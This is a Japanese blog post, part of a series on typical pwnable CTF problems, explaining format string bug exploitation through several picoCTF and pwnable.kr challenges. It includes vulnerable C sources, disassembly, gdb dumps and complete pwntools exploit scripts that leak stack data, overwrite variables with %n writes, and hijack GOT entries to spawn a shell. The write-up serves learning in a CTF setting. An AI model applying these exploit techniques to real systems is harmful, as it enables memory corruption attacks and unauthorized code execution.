1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Pwnable - 典型問題 (FSB編)

Last updated at Posted at 2024-04-17

Pwnable - 典型問題シリーズ

  1. Stack Overflow編
  2. ROP編
  3. Heap Exploit編
  4. FSB編 (本記事)
  5. その他編

目次

stonks

x86-64では、7番目以降の引数はスタックに積まれている。printfscanfは引数の数をチェックしないので、フォーマット文字列攻撃によってスタックの中身を盗むことができる。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

このプログラムには、buy_stonks関数のscanf("%300s", user_buf);に脆弱性があり、スタック内のapi_bufを盗み見ることができる。

フラグの長さ自体は分からないので、スタックの該当していそうな範囲をすべて表示してみる。

なお、ここで%{i}$pは、

%: フォーマット指定の開始を示す
i$: i番目の引数を指す
p: アドレスまたはポインタの値

を意味する。

from pwn import *
import binascii
# r = remote("pwnable.kr",  9004)

context.log_level = 'error'

decoded_str = b""
for i in range(0, 30):
    # r = process('./a.out')
    r = remote("mercury.picoctf.net", 20195)
    r.recvuntil("2) View my portfolio")
    r.sendline(b"1")
    r.recvuntil("What is your API token?")
    r.sendline(f"%{i}$p")
    result = r.recvall()
    leaked_str = str(result).split("\\n")[2]

    try:
        decoded_str += binascii.unhexlify(leaked_str[2:])[::-1]
    except:
        pass
    
print(decoded_str)

flag-leak

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <wchar.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char *buf, size_t len) {
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
               "own debugging flag.\n");
        exit(0);
    }

    fgets(buf, len, f);  // size bound read
}

void vuln() {
    char flag[BUFSIZE];
    char story[128];

    readflag(flag, FLAGSIZE);

    printf("Tell me a story and then I'll tell you one >> ");
    scanf("%127s", story);
    printf("Here's a story - \n");
    printf(story);
    printf("\n");
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
    return 0;
}

同様に、スタックの中身を表示するだけ

r = process("./vuln")
r.recvuntil(b"Tell me a story and then I'll tell you one >> ")
r.sendline(b"%x." * 50)
print(r.recvline())
leaked_str = r.recvline()
print(leaked_str)


decoded_str = b""
for p in str(leaked_str)[2:-4].split("."):
    try:
        decoded_str += binascii.unhexlify(p)[::-1]
    except:
        pass
    
print(decoded_str)
b'\x00\x91\xcf\xffts\xd3\xf7%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%ThisIsDUMMYF\x00.\xd3\xf7\xb4\x92\xcf\xff'

format-string-2

susを書き換えれば、フラグを表示させることができる。

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

まずsusが格納されているアドレスを確認する。susのアドレスが0x404060であることが分かる。

objdump -sj .data vuln

vuln:     file format elf64-x86-64

Contents of section .data:
 404050 00000000 00000000 00000000 00000000  ................
 404060 73757321                             sus!

ユーザーの入力を表示する部分にフォーマット文字列攻撃に対する脆弱性があるので、これを用いてsusの書き換えを目指す。

これまでに書き込まれた文字数を挿入する%nを用いることになるが、今回書き込みたい0x67616c66=1734437990は大きすぎて遅いので、前半(0x6761=26465)と後半部分(0x6c66=27750)に分けて書き込む。

攻撃のために用いる入力は以下のような形式になる。

b"%{書き込みたい値の前半部分}%{前半部分の書き込み先のオフセット (8byte単位)}$hn%" + 
b"%{書き込みたい値の後半部分 - これまでの長さ}%{後半部分の書き込み先のオフセット (8byte単位)}$hn%" + 
b"8バイトごとに揃えるためのオフセット" +  b"前半部分の書き込み先" +  b"後半部分の書き込み先"

入力が書き込まれるbufがスタック上の何個目の引数に相当するかを確認する。

00000000004011f6 <main>:
  4011f6:       f3 0f 1e fa             endbr64
  4011fa:       55                      push   %rbp
  4011fb:       48 89 e5                mov    %rsp,%rbp
  4011fe:       48 81 ec 50 04 00 00    sub    $0x450,%rsp
  401205:       bf 08 20 40 00          mov    $0x402008,%edi
  40120a:       e8 a1 fe ff ff          call   4010b0 <puts@plt>
  40120f:       48 8b 05 52 2e 00 00    mov    0x2e52(%rip),%rax        # 404068 <stdout@GLIBC_2.2.5>
  401216:       48 89 c7                mov    %rax,%rdi
  401219:       e8 c2 fe ff ff          call   4010e0 <fflush@plt>
  40121e:       48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
  401225:       48 89 c6                mov    %rax,%rsi
  401228:       bf 6e 20 40 00          mov    $0x40206e,%edi
  40122d:       b8 00 00 00 00          mov    $0x0,%eax
  401232:       e8 c9 fe ff ff          call   401100 <__isoc99_scanf@plt>
  401237:       bf 75 20 40 00          mov    $0x402075,%edi
  40123c:       b8 00 00 00 00          mov    $0x0,%eax
  401241:       e8 7a fe ff ff          call   4010c0 <printf@plt>

適当にscanfの直後にブレークポイントを打ち、"AAAAAAAAAAAAAAA"を入力した後、スタックの中身を確認する。

RBP: 0x7fffffffdac0 --> 0x1
RSP: 0x7fffffffd670 --> 0x2

gdb-peda$ x/100 $rsp
0x7fffffffd670: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd678: 0x10    0xcb    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd680: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd688: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd690: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd698: 0x60    0xc1    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6a0: 0x10    0xcb    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6a8: 0x60    0xc1    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6b0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6b8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6c0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6c8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6d0: 0x41    0x41    0x41    0x41

このことから、書き込み先のオフセットは二けたであると推定できる。

payload_ga = b"%26465c%00$hn" // 00はダミーオフセット
payload_lf = b"%1285c%00$hn"  // 00はダミーオフセット

とおくと、payload_ga + payload_lfの長さが25であることから、8バイト単位のアラインメントを考慮すると、オフセット18に前半部分のアドレス0x404060、オフセット19の位置に後半部分のアドレス0x404064を指定するれば良いことが分かる。

最終的な攻撃スクリプトは以下の通りとなる。

payload_ga = b"%26465c%18$hn"
payload_lf = b"%1285c%19$hn"
offset = b"A" * (8 - len(payload_ga + payload_lf) % 8)

payload = payload_ga + payload_lf + offset
payload += p64(0x404062)
payload += p64(0x404060) // リトルエンディアンなので順番が逆になっている

r = process("./vuln")
print(r.recvuntil(b"?"))
#r.sendline(b"%x."*10000)
# r.sendline(b"%10c%13$hn%160c%12$hn" + b"a"*7 + pack(0x404060, 0x404064))
r.sendline(payload)
r.recvall()

format-string-3

printfにFSBに対する脆弱性があり、setvbufのアドレスが分かるので、それらを用いてputsのGOTアドレスをsystemのアドレスに書き換えることを目指す。

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}

アドレスを書きこむ際、容量を圧縮するため、アドレスを2バイトづつ(hhn)に分割して書き込む。例えば、0x0609761をオフセット46以降に書き込む際のフォーマット文字列は、

%96c%46$hn%55c%47$hn%202c%48$hn

# hex(96) = "0x60"
# hex(96 + 55) = "0x97"
# hex((96 + 55 + 202) % 256) = "0x61"

となる。

import sys
from pwn import *
from pwnlib.elf.elf import *
from pwnlib.fmtstr import *


def split_hex_string(hex_string):
    if len(hex_string) % 2 != 0:
        hex_string = '0' + hex_string
    split_hex = ["0x" + hex_string[i:i+2] for i in range(2, len(hex_string), 2)]
    return split_hex

def gen_payload(data, offset=10):
    splitted_data = split_hex_string(str(hex(data)))
    splitted_data = [int(s, base=16) for s in splitted_data]
    payload = ""
    cur_len = 0

    for i, b in enumerate(splitted_data[::-1]):
        db = b
        if db < cur_len:
            # 不足分は桁を上げることで対応
            while db < cur_len:
                db += 256
        payload += f"%{db - cur_len}c%{offset + i}$hhn"
        cur_len += db - cur_len
    padding = "A" * (8 - len(payload) % 8)


    return payload + padding, splitted_data

context.arch='amd64'

fs3 = ELF('./format-string-3')
got_puts = fs3.got['puts']
libc = ELF('./libc.so.6')
system_offset = libc.symbols['system']
setvbuf_offset = libc.symbols['setvbuf']

log.info(f'got_puts: {hex(got_puts)}')
log.info(f'system_offset: {hex(system_offset)}')
log.info(f'setvbuf_offset: {hex(setvbuf_offset)}')

r = process("./format-string-3")
# r = remote("rhea.picoctf.net", port=62421)

r.recvuntil(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")
res = r.recvline()
setvbuf_addr = int(res[:-1].decode(), base=16)
system_addr = (setvbuf_addr - setvbuf_offset) + system_offset

log.info(f'setvbuf_addr: {hex(setvbuf_addr)}')
log.info(f'system_addr: {hex(system_addr)}')

buf_offset = 38
dummy_len = len(gen_payload(system_addr, offset=10)[0])
payload, splitted_data = gen_payload(system_addr, offset=buf_offset + int(dummy_len / 8))
payload = payload.encode()
for i in range(len(splitted_data)):
    payload += p64(got_puts + i)
log.info(f"payload:{payload}")

r.sendline(payload)
r.interactive()

fsb

pw == keyの比較を回避して、execve(args[0], args, 0);を実行したい。そのために、4回実行することのできるprintf(buf);を用いて、FSB攻撃を試みる。

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
	char* args[]={"/bin/sh", 0};
	int i;

	char*** pargv = &argv;
	char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
	*pargv=0;
	*penvp=0;

	for(i=0; i<4; i++){
		printf("Give me some format strings(%d)\n", i+1);
		read(0, buf, 100);
		printf(buf);
	}

	printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
	return 0;
}

int main(int argc, char* argv[], char** envp){

	int fd = open("/dev/urandom", O_RDONLY);
	if( fd==-1 || read(fd, &key, 8) != 8 ){
		printf("Error, tell admin\n");
		return 0;
	}
	close(fd);

	alloca(0x12345 & key);

	fsb(argv, envp); // exploit this format string bug!
	return 0;
}

fsbを逆アセンブリした結果の一部は以下の通り。

# 脆弱性付近
 80485f4:	c7 44 24 04 00 a1 04 	movl   $0x804a100,0x4(%esp)
 80485fb:	08 
 80485fc:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048603:	e8 d8 fd ff ff       	call   80483e0 <read@plt>
 8048608:	b8 00 a1 04 08       	mov    $0x804a100,%eax
 804860d:	89 04 24             	mov    %eax,(%esp)
 8048610:	e8 db fd ff ff       	call   80483f0 <printf@plt>
 8048615:	83 45 e4 01          	addl   $0x1,-0x1c(%ebp)
 8048619:	83 7d e4 03          	cmpl   $0x3,-0x1c(%ebp)
# execve付近
 804869f:	c7 04 24 ae 88 04 08 	movl   $0x80488ae,(%esp)
 80486a6:	e8 65 fd ff ff       	call   8048410 <puts@plt>
 80486ab:	8b 45 dc             	mov    -0x24(%ebp),%eax
 80486ae:	c7 44 24 08 00 00 00 	movl   $0x0,0x8(%esp)
 80486b5:	00 
 80486b6:	8d 55 dc             	lea    -0x24(%ebp),%edx
 80486b9:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486bd:	89 04 24             	mov    %eax,(%esp)
 80486c0:	e8 8b fd ff ff       	call   8048450 <execve@plt>
 80486c5:	b8 00 00 00 00       	mov    $0x0,%eax

方針としては、printfのGOTアドレスを、execveを呼んでいる箇所に書き換える。

printfのGOTアドレスは0x804a004である。

gdb-peda$ disassemble printf
Dump of assembler code for function printf@plt:
   0x080483f0 <+0>:     jmp    DWORD PTR ds:0x804a004
   0x080483f6 <+6>:     push   0x8
   0x080483fb <+11>:    jmp    0x80483d0
End of assembler dump.
gdb-peda$

この、0x804a004が指し示す先が0x804869fになるようにFSB攻撃を行う。

gdb-peda$ b *0x8048610
Breakpoint 1 at 0x8048610
gdb-peda$ r
Starting program: /mnt/c/Users/kanka/Desktop/Dev/CTFWriteUps/kr/fsb/fsb
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Give me some format strings(1)
a
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x804a100 --> 0xa61 ('a\n')
EBX: 0xffffcc60 --> 0x1
ECX: 0x804a100 --> 0xa61 ('a\n')
EDX: 0x64 ('d')
ESI: 0xffffcd14 --> 0xffffce58 --> 0x0
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffaba8 --> 0xffffcc48 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
EIP: 0x8048610 (<fsb+220>:      call   0x80483f0 <printf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048603 <fsb+207>: call   0x80483e0 <read@plt>
   0x8048608 <fsb+212>: mov    eax,0x804a100
   0x804860d <fsb+217>: mov    DWORD PTR [esp],eax
=> 0x8048610 <fsb+220>: call   0x80483f0 <printf@plt>
   0x8048615 <fsb+225>: add    DWORD PTR [ebp-0x1c],0x1
   0x8048619 <fsb+229>: cmp    DWORD PTR [ebp-0x1c],0x3
   0x804861d <fsb+233>: jle    0x80485d5 <fsb+161>
   0x804861f <fsb+235>: mov    DWORD PTR [esp],0x8048899
Guessed arguments:
arg[0]: 0x804a100 --> 0xa61 ('a\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
0004| 0xffffab64 --> 0x804a100 --> 0xa61 ('a\n')
0008| 0xffffab68 --> 0x64 ('d')
0012| 0xffffab6c --> 0x0
0016| 0xffffab70 --> 0x0
0020| 0xffffab74 --> 0x0
0024| 0xffffab78 --> 0x0
0028| 0xffffab7c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048610 in fsb ()
gdb-peda$ x/32x $esp
0xffffab60:     0x0804a100      0x0804a100      0x00000064      0x00000000
0xffffab70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffab80:     0x00000000      0x08048870      0x00000000      0x00000000
0xffffab90:     0xffffcd84      0xffffdfc1      0xffffabb0      0xffffabb4
0xffffaba0:     0x00000000      0x00000000      0xffffcc48      0x08048791
0xffffabb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffabc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffabd0:     0x00000000      0x00000000      0x00000000      0x00000000
gdb-peda$ exit

オフセット14である0xffffabb0がスタック内の別の個所(オフセット20)を指していることに注意する。

最終的な攻撃スクリプトは以下の通り。

./fsb >/dev/null
%134520836c%14$n  # 14番目の引数である0xffffabb0に0x804a004=134520836cを書き込む
%134514335c%20$n  # 0xffffabb0は20番目の引数である。0x804a004=134520836cが指し示す先に0x804869f=134514335cを書き込む
1>&2 whoami
root
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?